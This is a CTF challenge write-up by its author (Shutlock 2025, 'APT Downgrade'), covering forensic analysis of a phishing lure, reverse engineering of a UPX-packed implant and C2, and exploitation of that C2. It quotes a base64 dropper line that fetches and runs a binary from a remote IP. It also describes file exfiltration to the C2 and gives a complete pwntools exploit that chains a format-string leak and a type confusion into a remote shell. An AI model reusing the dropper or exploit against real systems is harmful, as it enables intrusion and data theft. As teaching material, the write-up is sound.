APT Downgrade
I’ve made this challenge for the CTF Shutlock 2025 (https://shutlock.fr/) , this challenge was created with the objectif to follow all the steps from the initial incident response after an infection until the attacker server takeover. The challenge has 3 parts: forensics investigation, reverse engineering of the malware and then server exploitation.
Part 1 - Forensics
L’entreprise vous a fournir une copie du filesystem du PC infecté, votre objectif est de retrouver le vecteur d’infection, il vous est demander de retrouver ces informations:
- hash du malware (sha256)
- l’email de l’attaquant
- chemin du fichier de configuration du malware
We need to find the malware to get it’s hash, attacker email address and the malware config file path.
Discovery
We have a part of a linux filesystem
drwxr-xr-x 134 cesar cesar 4096 avril 27 10:28 etc/
drwxr-xr-x 3 cesar cesar 4096 mars 7 2024 home/
drwxr-xr-x 2 cesar cesar 4096 févr. 20 2024 mnt/
drwxr-xr-x 2 cesar cesar 4096 févr. 20 2024 opt/
drwx------ 2 cesar cesar 4096 mars 9 2024 root/
drwxrwxrwx 23 cesar cesar 4096 mai 4 01:11 tmp/
In the we have only one user cesar and in his download directory we can see few files :
drwxr-xr-x 4 cesar cesar 4096 mai 4 01:03 ./
drwxr-x--- 16 cesar cesar 4096 avril 16 19:23 ../
-rw-rw-r-- 1 cesar cesar 27292 mars 7 2024 Cicero_Denounces_Catiline_in_the_Roman_Senate_by_Cesare_Maccari_-_detail_of_Catilina.jpg
drwxrwxr-x 3 cesar cesar 4096 avril 23 18:56 LibreOffice_25.2.2_Linux_x86-64_deb/
-rw-rw-r-- 1 cesar cesar 631024 avril 16 19:19 LSE.png
-rw-rw-r-- 1 cesar cesar 474543 mars 7 2024 rome-2880X1800-wallpaper-sof84b405pck2unz.jpeg
drwxr-xr-x 8 cesar cesar 4096 mai 2 22:50 thunderbird/
-rw-rw-r-- 1 cesar cesar 6097 mai 3 23:48 tirage_aux_sorts.sh
Retrieve the flag
By looking at tirage_aux_sorts.sh:
cat tirage_aux_sorts.sh
echo "Bienvenu dans la loterie des tickets pour le festival de Cannes"
echo "Tirage de la loterie en cours..."
sleep 3
echo "\n\nBRAVO VOUS AVEZ GAGNÉ UNE PLACE VIP POUR LA SÉANCE DES 20 ANS DE STAR WARS III "
echo -e "
╔═══════════════════════════════════════════════════════════════╗
║ CINÉGALAXY 3000 ║
║---------------------------------------------------------------║
║ BILLET POUR LA SÉANCE SPÉCIALE STAR WARS ║
║ ║
║ Date : 04 Mai 2025 Heure : 20h00 ║
║ Lieu : Salle 7 - Cinéma de la République Galactique ║
║ ║
║ 20ème ANNIVERSAIRE DE STAR WARS EPISODE III ║
║ \"La Revanche des Sith\" ║
║ ║
║ █████████████████████████████████████ ║
║ █████████████████████████████████████ ║
║ ████ ▄▄▄▄▄ █▀▀ ███▀ █ ▄▀█ ▄▄▄▄▄ ████ ║
║ ████ █ █ █▄▀██▀▀ ██▄█▄▄█ █ █ ████ ║
║ ████ █▄▄▄█ █ ▄ █ ▄▀ ▀██ █▄▄▄█ ████ ║
║ ████▄▄▄▄▄▄▄█ █ ▀▄█ █▄▀ ▀▄█▄▄▄▄▄▄▄████ ║
║ ████ ▀▄▀▀▄▄▀▀█ ▀▄▄ ▀▀█▀█ ▄▄▀▄▄▀████ ║
║ ████▀▀ ▄ ▄▄ ▄▀▀ ▀█▀▄▄▀▄▄█▄▀▀▄ █████ ║
║ ████▄▀▀▀█ ▄▄█▀▄ █ █▄▄ █ ▄ ▄▀█▄█▄▄████ ║
║ █████▄▄▀ ▄ █ █ █ ▀▀ ▀ ▄▀██ ▄ ▄████ ║
║ ████▄█ █▄▄▄▄▀▀▄█ █▄▀▄▀▄▄▄▀ █▀█▄▀████ ║
║ ████▄█▄▀▄▀▄ ▀▄ █▄▀█▀█▀▄▄ ▄███ ████ ║
║ ████▄█▄█▄█▄█▀▄ ▀█▄ ▄█▀█▀ ▄▄▄ █ ▀▀████ ║
║ ████ ▄▄▄▄▄ █▄▄███▀ █▀▄ █ █▄█ ▀▀▄▀████ ║
║ ████ █ █ █▀ ▄▀ ▀███▄█▀▄▄ ▄ ▀▀▀█████ ║
║ ████ █▄▄▄█ █▀█ █ ▀▀█▀ ▄▄▀▄██ ▄▄▀▄████ ║
║ ████▄▄▄▄▄▄▄█▄██▄▄▄▄▄▄▄▄█▄██▄▄██▄█████ ║
║ █████████████████████████████████████ ║
║ ║
╚═══════════════════════════════════════════════════════════════╝
"
At the line 734 we can see a bash command : echo "d2dldCAtcSBodHRwOi8vNTcuMTI4Ljg1LjI1OjUwMDk4L18gLU8gL3RtcC8uXw==" | base64 -d | bash && chmod +x /tmp/._ && /tmp/._
$ echo "d2dldCAtcSBodHRwOi8vNTcuMTI4Ljg1LjI1OjUwMDk4L18gLU8gL3RtcC8uXw==" | base64 -d
wget -q http://57.128.85.25:50098/_ -O /tmp/._
It download a file from a remote ip, save it under /tmp/._ and execute it, if we look in the /tmp/ directory the file is here:
$ ll /tmp/._
-rwxrwxr-x 1 cesar cesar 34060 mai 3 23:37 /tmp/._
if we look for other files in the /tmp directory we can found /tmp/config.bin that might be the config file use by the malware
Now that we have the malware and the config file we need to find out how the tirage_aux_sorts.sh file arrived in the host
In the Downloads directory there is thunderbird, it might be the mail client use by the user and we could find intresting information in it, all local data from thunderbird are by default located in the .thunderbird file in the user directory so in our case: /home/cesar/.thunderbird/, and all recieved mail will be located in our case in the file : /home/cesar/.thunderbird/48zmwn7v.default-release/ImapMail/mail.shutlock.fr/INBOX
By looking at this file we can see a mail from star_wars_official@proton.me, that is tagged as SPAM by thunderbird:
Date: Sat, 03 May 2025 20:39:23 +0000^M
To: "cesar@shutlock.fr" <cesar@shutlock.fr>^M
From: star_wars_official <star_wars_official@proton.me>^M
Message-ID: <B6oKYFgdCgfM4pdlcVMbihH53mddLcFm48rme8DCrGdMri_E73APuRlYLCYu9qjDxwkt4LwDN8CUd3NlH2nyy3LL7Gxt3ELHVmRRe2N7D4w=@proton.me>^M
Feedback-ID: 142685562:user:proton^M
X-Pm-Message-ID: 83349f215caaa758e7fbe17d6c0af490d722a6f2^M
MIME-Version: 1.0^M
Content-Type: multipart/mixed;^M
boundary="b1=_87Hpn8KNYGzY0z1qOwKHl9oCuveghXR6CLkg7jvl0"^M
Subject: =?utf-8?q?*****SPAM*****=F0=9F=8E=89_Invitation_exclusive_:_20=C3=A8me_Ann?=^M
=?utf-8?q?iversaire_de_STAR_WARS_Episode_III_=E2=80=93_Offre_VIP_sp=C3=A9?=^M
=?utf-8?q?ciale?=^M
We can see that the file tirage_aux_sorts.sh comme from this email :
Content-Type: text/x-sh; name=tirage_aux_sorts.sh^M
Content-Transfer-Encoding: base64^M
Content-Disposition: attachment; filename=tirage_aux_sorts.sh^M
and if we decode from base64 the mail text we got :
Chers fans de la saga STAR WARS,La Compagnie StarWars Galactique est heureuse de vous convier à une séance exceptionnelle en l'honneur du 20ème anniversaire de STAR WARS: Episode III – La Revanche des Sith.📅 Date : Samedi 4 mai 2025
🕗 Heure : 20h00
📍 Lieu : Salle 7 - Cinéma de la République Galactique🎟️ PLACES VIP À GAGNER !
Nous offrons 15 accès VIP incluant :
✅ Siège prioritaire
✅ Affiche collector numérotée
✅ Rencontre surprise après la projectionPour participer au tirage au sort, il vous suffit de lancer le script officiel de vérification d’inscription avant le 3 mai 2025 à 23h59.👉 Instructions :Téléchargez le script en pièce jointe du mailExécutez le dans votre terminal avec : bash tirage_aux_sorts.shAttendez quelques secondes⚠️ Attention : une seule participation par personne est autorisée. Toute tentative de fraude entraînera une exclusion immédiate.Que la Force soit avec vous,L'équipe officielle StarWars GalactiqueNotre site web : https://urlr.me/aK569N
So if we take all information we have and what’s is requiered to flag :
malware : /tmp/._
$ sha256sum tmp/._
66640c14f898c78a99757ab4460c635476dfeb9b3b65e8a57fb29202eefb9423 tmp/._
email de l’attaquant: star_wars_official@proton.me
config file: /tmp/config.bin
Flag : SHLK{66640c14f898c78a99757ab4460c635476dfeb9b3b65e8a57fb29202eefb9423:star_wars_official@proton.me:/tmp/config.bin}
PART 2 - Reverse
At this part we successfully retrieved the malware binary and a config file that seems to be encrypted
We can see by looking at the strings, or opening it in any RE tools that the binary seems to be packed. The binary is packed using UPX but all UPX strings are removed, we can see that it’s UPX with some strings like:
- executable packer http://
- 4.22 Copyright (C) 1996-2024 the
By Googling thoses strings we easily find UPX references, but upx -d don’t work (because upx section where renamed):
$ upx -d chapiteau_packed
Ultimate Packer for eXecutables
Copyright (C) 1996 - 2024
UPX 4.2.2 Markus Oberhumer, Laszlo Molnar & John Reiser Jan 3rd 2024
File size Ratio Format Name
-------------------- ------ ----------- -----------
upx: chapiteau_packed: NotPackedException: not packed by UPX
Unpacked 0 files.
But we can remove packing easily with gdb by dumping unpacked binary during execution
Here is the procmap during execution after upx unpacking:
vmmap
[ Legend: Code | Heap | Stack | Writable | ReadOnly | None | RWX ]
Start End Size Offset Perm Path
0x00007ffff7400000 0x00007ffff7428000 0x0000000000028000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libc.so.6
0x00007ffff7428000 0x00007ffff75b0000 0x0000000000188000 0x0000000000028000 r-x /usr/lib/x86_64-linux-gnu/libc.so.6 <- $rcx, $rip
0x00007ffff75b0000 0x00007ffff75ff000 0x000000000004f000 0x00000000001b0000 r-- /usr/lib/x86_64-linux-gnu/libc.so.6
0x00007ffff75ff000 0x00007ffff7603000 0x0000000000004000 0x00000000001fe000 r-- /usr/lib/x86_64-linux-gnu/libc.so.6
0x00007ffff7603000 0x00007ffff7605000 0x0000000000002000 0x0000000000202000 rw- /usr/lib/x86_64-linux-gnu/libc.so.6 <- $r8
0x00007ffff7605000 0x00007ffff7612000 0x000000000000d000 0x0000000000000000 rw-
0x00007ffff7800000 0x00007ffff78b3000 0x00000000000b3000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libcrypto.so.3
0x00007ffff78b3000 0x00007ffff7be6000 0x0000000000333000 0x00000000000b3000 r-x /usr/lib/x86_64-linux-gnu/libcrypto.so.3
0x00007ffff7be6000 0x00007ffff7cb1000 0x00000000000cb000 0x00000000003e6000 r-- /usr/lib/x86_64-linux-gnu/libcrypto.so.3
0x00007ffff7cb1000 0x00007ffff7d0d000 0x000000000005c000 0x00000000004b0000 r-- /usr/lib/x86_64-linux-gnu/libcrypto.so.3
0x00007ffff7d0d000 0x00007ffff7d10000 0x0000000000003000 0x000000000050c000 rw- /usr/lib/x86_64-linux-gnu/libcrypto.so.3
0x00007ffff7d10000 0x00007ffff7d13000 0x0000000000003000 0x0000000000000000 rw-
0x00007ffff7ef4000 0x00007ffff7ef7000 0x0000000000003000 0x0000000000000000 rw- <tls-th1>
0x00007ffff7ef7000 0x00007ffff7f15000 0x000000000001e000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libssl.so.3
0x00007ffff7f15000 0x00007ffff7f77000 0x0000000000062000 0x000000000001e000 r-x /usr/lib/x86_64-linux-gnu/libssl.so.3
0x00007ffff7f77000 0x00007ffff7f93000 0x000000000001c000 0x0000000000080000 r-- /usr/lib/x86_64-linux-gnu/libssl.so.3
0x00007ffff7f93000 0x00007ffff7f9d000 0x000000000000a000 0x000000000009c000 r-- /usr/lib/x86_64-linux-gnu/libssl.so.3
0x00007ffff7f9d000 0x00007ffff7fa1000 0x0000000000004000 0x00000000000a6000 rw- /usr/lib/x86_64-linux-gnu/libssl.so.3
0x00007ffff7faf000 0x00007ffff7fb0000 0x0000000000001000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x00007ffff7fb0000 0x00007ffff7fdb000 0x000000000002b000 0x0000000000001000 r-x /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x00007ffff7fdb000 0x00007ffff7fe5000 0x000000000000a000 0x000000000002c000 r-- /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x00007ffff7fe5000 0x00007ffff7fe7000 0x0000000000002000 0x0000000000036000 r-- /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x00007ffff7fe7000 0x00007ffff7fe9000 0x0000000000002000 0x0000000000038000 rw- /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 <- $r15
0x00007ffff7fea000 0x00007ffff7fee000 0x0000000000004000 0x0000000000000000 r-- [vvar]
0x00007ffff7fee000 0x00007ffff7ff0000 0x0000000000002000 0x0000000000000000 r-x [vdso]
0x00007ffff7ff0000 0x00007ffff7ff2000 0x0000000000002000 0x0000000000000000 r--
0x00007ffff7ff2000 0x00007ffff7ff7000 0x0000000000005000 0x0000000000000000 r-x
0x00007ffff7ff7000 0x00007ffff7ffa000 0x0000000000003000 0x0000000000000000 r-- <- $r14
0x00007ffff7ffa000 0x00007ffff7ffb000 0x0000000000001000 0x0000000000000000 rw-
0x00007ffff7ffc000 0x00007ffff7ffe000 0x0000000000002000 0x0000000000000000 rw-
0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000001000 0x0000000000000000 r-- /home/leg/Challs/Shutlock2025/Chall_APT_Downgrade/code/chapiteau_packed
0x00007ffff7fff000 0x00007ffff8020000 0x0000000000021000 0x0000000000000000 rw- [heap]
0x00007ffffffde000 0x00007ffffffff000 0x0000000000021000 0x0000000000000000 rw- [stack] <- $rbx, $rdx, $rsp, $rbp, $rsi
0xffffffffff600000 0xffffffffff601000 0x0000000000001000 0x0000000000000000 --x [vsyscall]
We can look at current process execution address that is in this section :
0x00007ffff7ff2000 0x00007ffff7ff7000 0x0000000000005000 0x0000000000000000 r-x
We can try to dump the whole binary sections in gdb :
dump memory out 0x00007ffff7ff0000 0x00007ffff7ffb000
Then by looking at out file we can see that we retrieve a valid ELF file (some section aren’t well define):
$ file out
out: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, missing section headers at 73144
We can open this binary in our favorite RE tools (in my case IDA):
Program reverse
With a bit of renaming the main function aren’t so complicated:
int __fastcall main(int argc, const char **argv, const char **envp)
{
int result; // eax
unsigned int v4; // [rsp+18h] [rbp-28h] BYREF
int port; // [rsp+1Ch] [rbp-24h]
_QWORD v6[3]; // [rsp+20h] [rbp-20h] BYREF
unsigned __int64 v7; // [rsp+38h] [rbp-8h]
v7 = __readfsqword(0x28u);
sub_2760(13LL, 1LL);
if ( argc == 2 )
{
port = atoi(argv[1]);
if ( port > 0 && port <= 0xFFFF )
{
result = sub_5779((unsigned int)port);
}
else
{
printf("Invalid port number provided.\n", 1LL, 30LL, qword_A040);
result = 1;
}
}
else if ( argc == 1 )
{
v6[0] = 0x2E302E302E373231LL;
v6[1] = 49LL;
v4 = 1234;
sub_2A55(v6, &v4);
sub_3E6B(v6, v4);
result = 0;
}
else
{
printf_(qword_A040, "Usage: %s [port]\n", *argv);
result = 1;
}
if ( v7 != __readfsqword(0x28u) )
return sub_2720();
return result;
}
There are 2 way to run the program with :
- 0 argument -> call to
sub_2A55andsub_3E6B - 1 argument -> an int that will be used as a “port” -> call
sub_5779with the “port” as parameter
Thoses 2 way are because this binary contain the malware and “C2” in the same binary
Implant code
When the implant is run 2 function are runned :
sub_2A55
in this function we can see some http request related strings/function, that make a connection to a pastbin and retrieve content.
Pastbin url can be found in plaintext in the code and it’s : https://pastebin.com/raw/XRYbAhZ3, that contain an IP:PORT
and then a debug print string : "Retrieved C2 IP: %s, Port: %d\n", so this IP:PORT is the C2 IP and port.
This function just retrieve C2 information to be able to connect to it, we can rename this function by fetch_c2_details
sub_3E6B
This function run 2 functions : sub_350D and sub_3A37
sub_350D
This function retrieve information on the host like public ip address (fetch in sub_2820), hostname and MAC, then it
parse thoses information and store it in this format: Machine\nHostname: <HOSTNAME>\nIP: <IP>\nMAC: <MAC>\n and send it to the C2.
Then it recieve data from the C2 until END-CONFIG and store it to a file config.bin
sub_3A37
This function read all file in the user ~/Documents/work123456AAAAA/ directory and send them to the C2 beggining with FILENAME:<FILENAME> and
end by END-FILE
To summarize the implant make thoses actions:
- Retrieve C2 IP:PORT from a pastebin
- Send host related information to the C2: Public IP, MAC, HOSTNAME
- Retrieve a config file from the C2 and store it to
config.binfile - Send all file in ~/Documents/work123456AAAAA/ directory to the C2
C2 code
The C2 main function is sub_5779 wich is called with the port passed as argv[1]
sub_5779 This function is a commun function when we work with multithreaded network server, it listen on the given port and run sub_5442 in a new thread for each new connection
sub_5442 The server recv data on his port and parse data to find some commands:
GET_INFO:-> call sub_4FB0FILENAME:-> call sub_4659MachineorServer-> call sub_4A53 and sub_51FC
sub_4FB0
This function is called when the C2 recieve the commands GET_INFO, the C2 want a sha256 hash after GET_INFO: , and there iterate over all infected machine/server, calculate sha256(hostname:mac:ip) and check if it match with the given have, if so it call the corresponding print_info of the matched machine and send back the result to the socket
sub_4A53
This function parse infected host information, there are 2 types of infected host specified by the 1st line,
if the 1st line is Machine:
the C2 will expect infected host to send information in this format:
Machine
Hostname: <HOSTNAME>
IP: <IP>
MAC: <MAC>
and then store thoses information in a struct that we will call MachineInfo, define like that:
typedef struct MachineInfo {
char hostname[64];
char ip[64];
char mac[64];
void *ptr;
} MachineInfo;
if the 1st line is Server:
The C2 will expect infected host to send information in this format:
Server
Hostname: <HOSTNAME>
IP: <IP>
MAC: <MAC>
Usage: <USAGE>
Last field Usage could be sent in hex format by using UsageHEX
and as machine infected , will store information in a struct we will call it ServerInfo:
typedef struct ServerInfo {
char hostname[64];
char ip[64];
char mac[64];
char usage[256];
void (*print_info)(struct ServerInfo *info);
} ServerInfo;
sub_4659 This function handle retrieving file from infected machine and store them on the disk
sub_51FC
This is the function that is usefull to flag the challenge, first it will open a file “secret.txt” (that contain part2 flag) then call sub_44AD that will encrypt the config using AES CBC using a random IV (that will be appened at the beggining of the encrypted data) and an hardcoded key : N0t_Malicious_C2.
Solve script
In order to decrypt the encrypted config we need to retrieve the random IV at the beggining of the file and decrypt it, there is a python script to do it:
from Crypto.Cipher import AES
import binascii
def decrypt_aes_cbc(ciphertext, key):
# Get the random IV (16 first bytes) and then the rest is the encrypted data
iv = ciphertext[:16]
encrypted_data = ciphertext[16:]
# AES CBC decrypt and unpad
cipher = AES.new(key, AES.MODE_CBC, iv)
decrypted_padded = cipher.decrypt(encrypted_data)
return decrypted_padded
if __name__ == "__main__":
# Open config file
with open("config.bin", "rb") as f:
ciphertext = f.read()
aes_key = b"N0t_Malicious_C2"
plaintext = decrypt_aes_cbc(ciphertext, aes_key)
print(f"Decrypted config:\n {plaintext.decode()}")
PART 3 - Pwn
From the previous part we know by reverse engineering that:
- It’s the same binary for implant and C2 server
- We know how to craft packet for an infected Machine/Server, upload a file and Get information on an infected machine
- We can request information via
GET_INFOfor a given hostname:mac:ip
If we looked at all functions in th ebinary we could see that one :
__int64 sub_3EA3()
{
dup2(__readfsdword(0xFFFFFFFC), 0LL);
dup2(__readfsdword(0xFFFFFFFC), 1LL);
dup2(__readfsdword(0xFFFFFFFC), 2LL);
return execve("/bin/sh", 0LL, 0LL);
}
It’s a “win” function that redirect stdin/stdout/stderr to the socket and execve("/bin/sh",0,0) so it give a free remote shell, this function si never called in the binary but is present and could be called if we achieve to redirect execution flow to it.
Binary protection
When we do checksec
checksec chapiteau_packed
[!] Did not find any GOT entries
[*] '/home/leg/Challs/Shutlock2025/Chall_APT_Downgrade/code/chapiteau_packed'
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
Fun fact: It say that there is not stack canary but it’s because UPX remove lots of binary section and symbols and so remove __stack_chk_fail, and checksec to know if there is a stack canary iterate and parse over all binary section and symbols to check is there is __stack_chk_fail and if not say that there is not canary but here it’s not true but it don’t matter for the exploit before it’s not a buffer overflow in the stack (cf. https://github.com/slimm609/checksec/blob/main/pkg/checksec/canary.go
)
What matter it’s there is PIE so we need a leak to be able to call the win function.
The vulnerability
The vulnerability is in the Server parsing function, when a new server is detected by the C2 it parse it data in a struct ServerInfo, and try to find an entry with the same IP/MAC in the global list of infected device, if none is found no issue but one is found it free it and set the server as the new entry, but the server is cast as an MachineInfo.
The ServerInfo struct :
typedef struct ServerInfo {
char hostname[64];
char ip[64];
char mac[64];
char usage[256];
void (*print_info)(struct ServerInfo *info);
} ServerInfo;
Have 1 more field than the MachineInfo :
typedef struct MachineInfo {
char hostname[64];
char ip[64];
char mac[64];
char usage[256];
void (*print_info)(struct MachineInfo *info);
} MachineInfo;
So when a ServerInfo struct is parsed as an MachineInfo (It never should be done but here the malware dev made a mistake), usage field overwrite the print_info pointer and so allow an arbitrary call, and with that we can easily call the win function. But before trying to call the win function we need a PIE leak, something that we could get easily because there is a format string bug in the print_info for Machine:
__int64 __fastcall sub_3FAD(const char *a1)
{
__int64 result; // rax
const char *v2; // rdx
__int64 v3; // [rsp+18h] [rbp-8h]
if ( __readfsdword(0xFFFFFFFC) == -1 )
{
result = qword_A020;
}
else
{
sub_2840(__readfsdword(0xFFFFFFFC));
result = sub_2710();
}
v3 = result;
if ( result )
{
sub_2940("[Machine] Host:", 1LL, 15LL, result);
printf(v3, a1); // Here it print the hostname without a %s we can abuse this to get a format string exploit
printf(v3, "IP: %s\n", a1 + 64);
printf(v3, "MAC: %s\n", a1 + 128);
result = qword_A020;
if ( v3 != qword_A020 )
return sub_26F0(v3, "MAC: %s\n", v2);
}
return result;
}
To trigger a call to this function we need to use the GET_INFO functionnality that allow us to trigger a call to print back information of an arbitrary infected host by sending as a command to the C2 : GET_INFO:<sha256(hostname:mac:ip)>, so we can leak arbitrary value on the stack using this by registering infected Machine with as name “%N$p” to print the Nth value on the stack as a pointer, that allow us to iterate on the stack to find a pointer that point back to a function in the binary:
# Format the request and register the Machine with values as parameter and get back the config (useless in our case but aknowledge that the infected machine is well registered by the C2)
def machine(io, hostname, ip, mac):
req = b"Machine\n"
req += b"Hostname: " + hostname.encode() + b"\n"
req += b"IP: " + ip.encode() + b"\n"
req += b"MAC: " + mac.encode() + b"\n"
req += b"END-CMD\n"
io.send(req)
return io.recvuntil(b"END-CONFIG\n", timeout=2)
# Calculate the sha256(hostname:mac:ip), send the command and get back the result
def get_info(io, hostname, ip, mac, keep=False):
query = f"{hostname}:{mac}:{ip}".encode()
h = hashlib.sha256(query).hexdigest()
io.send(f"GET_INFO:{h}\nEND-CMD\n".encode())
return io.recv(timeout=2)
# Iterate over the first 40 values on the stack to find a value in the binary
# if we take back our vmmap output (same as /proc/<PID>/maps file), the unpacked binary was mapped at:
# 0x00007ffff7ff0000 0x00007ffff7ff2000 0x0000000000002000 0x0000000000000000 r--
# 0x00007ffff7ff2000 0x00007ffff7ff7000 0x0000000000005000 0x0000000000000000 r-x
# 0x00007ffff7ff7000 0x00007ffff7ffa000 0x0000000000003000 0x0000000000000000 r-- <- $r14
# 0x00007ffff7ffa000 0x00007ffff7ffb000 0x0000000000001000 0x0000000000000000 rw-
# 0x00007ffff7ffc000 0x00007ffff7ffe000 0x0000000000002000 0x0000000000000000 rw-
# So any adresses between 0x00007ffff7ff0000 and 0x00007ffff7ffe000 when running the binary in GDB should be in the binary
# we even can restraint to 0x00007ffff7ff2000 until 0x00007ffff7ff7000 because it's where binary executable instruction are
def find_leak(io):
for i in range(40):
name = f"%{i}$p"
try:
machine(io, name, "10.0.0.1", "AA:BB:CC:DD:EE:FF")
leak = get_info(io, name, "10.0.0.1", "AA:BB:CC:DD:EE:FF")
try:
leak = leak.split(b"Host:")[1].split(b"IP")[0]
leak = int(leak,16)
if leak > 0x00007ffff7ff0000 and leak < 0x00007ffff7ffe000:
print(f"[+] PIE leak {i}: {hex(leak)}")
except:
pass
except Exception as e:
print(f"Error on {i}: {e}")
break
We need to test it’s better to run under GDB to get fixed addresses even when we restart the binary (but it’s also possible to do it by desactivating ASLR on our host, or read /proc/PID/maps when binary start). After running this we can see that at the 10th value on the stack leak an adress in the binary, then we subtract the offset between this value and the base of the binary and add the offset of the win function:
PIE_offset = 0x5296
# 1st we get the PIE base thru the fmtstr in machine->hostname
machine(io,"%10$p", "10.0.0.1", "AA:BB:CC:DD:EE:FF")
leak = get_info(io,"%10$p", "10.0.0.1", "AA:BB:CC:DD:EE:FF")
leak = leak.split(b'IP')[0].split(b":")[1].ljust(8,b'0')
PIE_base = int(leak,16) - PIE_offset
WIN = PIE_base+ 0x3ea3
print(f"[+] PIE base @ {hex(PIE_base)}")
And then we just need to exploit the fact that when registring an infected server if there is already an entry with the same IP/MAC it parse the new entry as a MachineInfo struct and so overwrite the pointer with what’s in the usage field:
def server(io, hostname, ip, mac, usage):
hex_usage = usage.to_bytes(8, 'little').hex()
req = b"Server\n"
req += b"Hostname: " + hostname.encode() + b"\n"
req += b"IP: " + ip.encode() + b"\n"
req += b"MAC: " + mac.encode() + b"\n"
req += b"UsageHEX: " + hex_usage.encode() + b"\n"
req += b"END-CMD\n"
io.send(req)
return io.recvuntil(b"END-CONFIG\n", timeout=2)
def run_payload(io,payload):
machine(io,"HOSTA", "10.0.0.2", "FF:BB:CC:DD:EE:FF")
server(io,"HOSTA", "10.0.0.2", "FF:BB:CC:DD:EE:FF", payload)
get_info(io,"HOSTA", "10.0.0.2", "FF:BB:CC:DD:EE:FF")
run_payload(io,WIN)
io.interactive()
Here is the whole exploit script:
from pwn import *
import hashlib
target = "localhost"
port = 4040
context.log_level = 'critical'
io = remote(target, port)
def machine(io, hostname, ip, mac):
req = b"Machine\n"
req += b"Hostname: " + hostname.encode() + b"\n"
req += b"IP: " + ip.encode() + b"\n"
req += b"MAC: " + mac.encode() + b"\n"
req += b"END-CMD\n"
io.send(req)
return io.recvuntil(b"END-CONFIG\n", timeout=2)
def server(io, hostname, ip, mac, usage):
hex_usage = usage.to_bytes(8, 'little').hex()
req = b"Server\n"
req += b"Hostname: " + hostname.encode() + b"\n"
req += b"IP: " + ip.encode() + b"\n"
req += b"MAC: " + mac.encode() + b"\n"
req += b"UsageHEX: " + hex_usage.encode() + b"\n"
req += b"END-CMD\n"
io.send(req)
return io.recvuntil(b"END-CONFIG\n", timeout=2)
def get_info(io, hostname, ip, mac):
query = f"{hostname}:{mac}:{ip}".encode()
h = hashlib.sha256(query).hexdigest()
io.send(f"GET_INFO:{h}\nEND-CMD\n".encode())
return io.recv(timeout=2)
# Iterate over the first 40 values on the stack to find a value in the binary
# if we take back our vmmap output (same as /proc/<PID>/maps file), the unpacked binary was mapped at:
# 0x00007ffff7ff0000 0x00007ffff7ff2000 0x0000000000002000 0x0000000000000000 r--
# 0x00007ffff7ff2000 0x00007ffff7ff7000 0x0000000000005000 0x0000000000000000 r-x
# 0x00007ffff7ff7000 0x00007ffff7ffa000 0x0000000000003000 0x0000000000000000 r-- <- $r14
# 0x00007ffff7ffa000 0x00007ffff7ffb000 0x0000000000001000 0x0000000000000000 rw-
# 0x00007ffff7ffc000 0x00007ffff7ffe000 0x0000000000002000 0x0000000000000000 rw-
# So any adresses between 0x00007ffff7ff0000 and 0x00007ffff7ffe000 when running the binary in GDB should be in the binary
# we even can restraint to 0x00007ffff7ff2000 until 0x00007ffff7ff7000 because it's where binary executable instruction are
def find_leak(io):
for i in range(40):
name = f"%{i}$p"
try:
machine(io, name, "10.0.0.1", "AA:BB:CC:DD:EE:FF")
leak = get_info(io, name, "10.0.0.1", "AA:BB:CC:DD:EE:FF")
try:
leak = leak.split(b"Host:")[1].split(b"IP")[0]
leak = int(leak,16)
if leak > 0x00007ffff7ff0000 and leak < 0x00007ffff7ffe000:
print(f"[+] PIE leak {i}: {hex(leak)}")
except:
pass
except Exception as e:
print(f"Error on {i}: {e}")
break
def run_payload(io,payload):
machine(io,"HOSTA", "10.0.0.2", "FF:BB:CC:DD:EE:FF")
server(io,"HOSTA", "10.0.0.2", "FF:BB:CC:DD:EE:FF", payload)
get_info(io,"HOSTA", "10.0.0.2", "FF:BB:CC:DD:EE:FF")
PIE_offset = 0x5296
# 1st we get the PIE base thru the fmtstr in machine->hostname
machine(io,"%10$p", "10.0.0.1", "AA:BB:CC:DD:EE:FF")
leak = get_info(io,"%10$p", "10.0.0.1", "AA:BB:CC:DD:EE:FF")
leak = leak.split(b'IP')[0].split(b":")[1].ljust(8,b'0')
PIE_base = int(leak,16) - PIE_offset
WIN = PIE_base+ 0x3ea3
print(f"[+] PIE base @ {hex(PIE_base)}")
print(f"[+] WIN @ {hex(WIN)}")
run_payload(io,WIN)
io.interactive()
We run this and we get a shell :
$ python3 exploit.py
[+] PIE base @ 0x750f4a84d000
[+] WIN @ 0x750f4a850ea3
$ id
uid=1001(ctf) gid=1001(ctf) groups=1001(ctf)